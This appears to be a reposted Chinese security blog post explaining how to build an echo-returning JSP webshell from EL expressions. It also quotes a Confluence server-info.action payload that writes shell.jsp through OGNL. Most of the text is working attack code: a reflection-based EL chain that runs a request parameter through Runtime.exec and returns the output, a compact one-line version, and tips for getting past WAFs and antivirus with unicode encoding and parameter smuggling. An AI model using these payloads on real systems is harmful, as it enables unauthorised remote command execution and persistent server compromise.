WebShell-EL表达式-回显Webshell

admin 2024年2月2日19:48:12评论22 views字数 7417阅读24分43秒阅读模式

执念不会像雨一样,说停就停。

Obsession doesn't cease like the rain, stopping at a word.

PS:本文主要分享一种webshell的利用方式,只是借用confluence说明,并不仅局限于confluence。

在之前的CVE-2023-22515-Confluence访问控制漏洞-任意管理员创建中分析了Confluence存在任意管理员创建,之后就一直想既然能够通过OGNL表达式进行创建管理员,那么是否能够进行RCE呢?

发现X1r0z师傅写到通过OGNL表达式调用 bootstrapStatusProvider.applicationConfig写入webshell进行RCE的利用,但由于XMLWriter 写入数据<> 字符会被过滤, X1r0z师傅通过利用 EL 表达式的标签 ${..} 进行绕过成功进行RCE。该方法进行写入webshell存在以下限制:

  1. 权限限制,可能导致无法写入;
  2. webshell没有回显。

回显Webshell

在近期的项目中遇到一个需要使用EL表达式进行上传webshell的站点,就想到了X1r0z师傅通过利用 EL 表达式绕过过滤<> 字符写入webshell。在此基础上添砖加瓦实现回显Webshell。confluence写webshell的调用分析就不详细写在这了,感兴趣的可以去看X1r0z师傅的文章,我主要分享一些回显webshell的利用思路。给出X1r0z师傅payload:

/server-info.action?bootstrapStatusProvider.applicationConfig.buildNumber=${Runtime.getRuntime().exec(param.cmd)}&bootstrapStatusProvider.applicationConfig.applicationHome=/Users/exp10it/Downloads/confluence-src/atlassian-confluence-8.5.1/confluence&bootstrapStatusProvider.applicationConfig.configurationFileName=shell.jsp&bootstrapStatusProvider.setupPersister.setupType=custom

在confluence写文件的时候,传入的<>会被转义,这时候就可以使用EL表达式进行利用,成功写入webshell,但是普通的${Runtime.getRuntime().exec(param.cmd)}执行命令并没有回显,这在不出网的环境中利用还是有限:WebShell-EL表达式-回显Webshell

构造回显WebShell

EL表达式(Expression Language)是一种用于在Java服务器端技术中嵌套在页面中的表达式语言。它的主要目的是简化在JSP(JavaServer Pages)和JSF(JavaServer Faces)等技术中访问应用程序数据的语法。

EL 提供了一种轻量级的语法,允许在JSP页面中嵌入 JavaBean 属性、映射集合、执行算术和逻辑运算等,从而更方便地访问和展示数据。它使得在页面上引用和操作后端数据变得更加简单。虽然在EL表达式中可以进行函数调用,但是确不能自行定义变量。在EL表达式中,存在11个隐式对象,如下:WebShell-EL表达式-回显Webshell

既然EL表达式能进行函数调用,那么只要找到EL表达式中能够保存调用结果的方法即可。通常在需要从后端java代码中获取数据,都会通过setAttribute来保存结果,再通过getAttribute获取setAttribute保存的数据,例如:

${pageContext.setAttribute("result", Runtime.getRuntime().exec("whoami"))}
//将Runtime.getRuntime().exec("whoami")的结果保存在result中。
${pageContext.getAttribute("result")}
//取出result中的值

WebShell-EL表达式-回显Webshell

既然能够保存执行结果,那么就有可以不断通过pageContext.setAttribute和pageContext.getAttribute到达定义变量并赋值的效果完成命令执行到回显的利用。

有了思路,先用java写一个简单的命令执行代码,再将其转换成对应的EL表达式:

import java.io.BufferedReader;  
import java.io.IOException;  
import java.io.InputStream;  
import java.io.InputStreamReader;  
  
import java.util.stream.Collectors;  
  
  
  
/**  
 * @Projectname: test  
 * @Filename: common  
 * @Author: T0ngMystic  
 * @Data:2024/1/29 10:43  
 * @Description: unauthorized  
 */public class common {  
    public static void main(String[] args) throws IOException, InterruptedException {  
        try {  
            InputStream inputStream = Runtime.getRuntime().exec("ipconfig").getInputStream();  
            BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));  
            String allLines = reader.lines().collect(Collectors.joining());  
            System.out.println(allLines);  
  
  
        } catch (IOException e) {  
            e.printStackTrace();  
        }  
    }  
}
WebShell-EL表达式-回显Webshell

在转换成EL表达式时,会发现InputStreamReader和BufferedReader没办法直接创建类进行调用,既然无法直接创建类,那么可以通过反射一个出来进行使用,从而得到EL表达式如下:

${pageContext.setAttribute("InputStreamReaderClass", Class.forName("java.io.InputStreamReader"))}
${pageContext.setAttribute("BufferedReaderClass", Class.forName("java.io.BufferedReader"))}

得到了InputStreamReader和BufferedReader类之后通过getConstructor获取想要的构造方法,再利用newInstance创建对象,从而得到EL表达式如下:(注:对应的值需要通过getAttribute获取,这里为了方便理解,直接使用了对应的名称)

${pageContext.setAttribute("InputStreamReaderConstructor", InputStreamReaderClass.getConstructor(Class.forName("java.io.InputStream")))}
${pageContext.setAttribute("InputStreamReaderInstance", InputStreamReaderConstructor.newInstance(inputStream))}
${pageContext.setAttribute("BufferedReaderConstructor", BufferedReaderClass.getConstructor(Class.forName("java.io.Reader")))}
${pageContext.setAttribute("BufferedReaderInstance", BufferedReaderConstructor.newInstance(InputStreamReaderInstance))}

到此完成了InputStream inputStream = Runtime.getRuntime().exec(param.cmd).getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));EL 表达式的转换。

在平常我们写java代码时,应该都有遇到输出这样形式的数据java.lang.ProcessImpl$ProcessPipeInputStream@54152f58,这就需要将其转换成String类型再进行输出。接下来我们需要将结果转换成String类型保存再输出,不然直接输出只会是对于的类路径,我们就需要定义一个String类型对结果进行保存,同样使用反射的方式获取String类,得到如下EL表达式:

${pageContext.setAttribute("stringClass", Class.forName("java.lang.String"))}
${pageContext.setAttribute("stringConstructor",stringClass.getConstructor(Class.forName("java.lang.String")))}
${pageContext.setAttribute("stringRes", stringConstructor.newInstance(BufferedReaderInstance.lines().collect(Class.forName("java.util.stream.Collectors").getMethod("joining").invoke(null))))}

到此就完成了所有的EL表达式转换,成功获取到回显:

${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec(param.cmd).getInputStream())}
${pageContext.setAttribute("InputStreamReaderClass", Class.forName("java.io.InputStreamReader"))}
${pageContext.setAttribute("BufferedReaderClass", Class.forName("java.io.BufferedReader"))}
${pageContext.setAttribute("InputStreamReaderConstructor", pageContext.getAttribute("InputStreamReaderClass").getConstructor(Class.forName("java.io.InputStream")))}
${pageContext.setAttribute("InputStreamReaderInstance", pageContext.getAttribute("InputStreamReaderConstructor").newInstance(pageContext.getAttribute("inputStream")))}
${pageContext.setAttribute("BufferedReaderConstructor", pageContext.getAttribute("BufferedReaderClass").getConstructor(Class.forName("java.io.Reader")))}
${pageContext.setAttribute("BufferedReaderInstance", pageContext.getAttribute("BufferedReaderConstructor").newInstance(pageContext.getAttribute("InputStreamReaderInstance")))}
${pageContext.setAttribute("stringClass", Class.forName("java.lang.String"))}
${pageContext.setAttribute("stringConstructor",pageContext.getAttribute("stringClass").getConstructor(Class.forName("java.lang.String")))}
${pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(BufferedReaderInstance.lines().collect(Class.forName("java.util.stream.Collectors").getMethod("joining").invoke(null))))}
${pageContext.getAttribute("stringRes")}
WebShell-EL表达式-回显Webshell

转换成一段EL表达式:

${pageContext.setAttribute("inputStream",Runtime.getRuntime().exec(param.cmd).getInputStream());pageContext.setAttribute("InputStreamReaderClass", Class.forName("java.io.InputStreamReader"));pageContext.setAttribute("BufferedReaderClass", Class.forName("java.io.BufferedReader"));
pageContext.setAttribute("InputStreamReaderConstructor", pageContext.getAttribute("InputStreamReaderClass").getConstructor(Class.forName("java.io.InputStream")));pageContext.setAttribute("InputStreamReaderInstance", pageContext.getAttribute("InputStreamReaderConstructor").newInstance(inputStream));pageContext.setAttribute("BufferedReaderConstructor", pageContext.getAttribute("BufferedReaderClass").getConstructor(Class.forName("java.io.Reader")));pageContext.setAttribute("BufferedReaderInstance", pageContext.getAttribute("BufferedReaderConstructor").newInstance(pageContext.getAttribute("InputStreamReaderInstance")));pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor",pageContext.getAttribute("stringClass").getConstructor(Class.forName("java.lang.String")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("BufferedReaderInstance").lines().collect(Class.forName("java.util.stream.Collectors").getMethod("joining").invoke(null))));pageContext.getAttribute("stringRes")}

WebShell-EL表达式-回显Webshell至此就打通了命令执行到回显。

一些想法

  1. jsp支持unicode编码,可以将EL表达式${}中的内容通过unicode编码后再进行传入,能够绕过一些waf;
  2. EL表达式+反射调用,几乎可以执行任何的代码,不仅仅局限于可回显的WebShell;
  3. 再加上传参,可以将一些被杀软,waf定义为危险的字符串通过传参的方式传入,从而绕过。

文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!

原文始发于微信公众号(T0ngMystic工作站):WebShell-EL表达式-回显Webshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月2日19:48:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WebShell-EL表达式-回显Webshellhttp://cn-sec.com/archives/2461628.html

发表评论

匿名网友 填写信息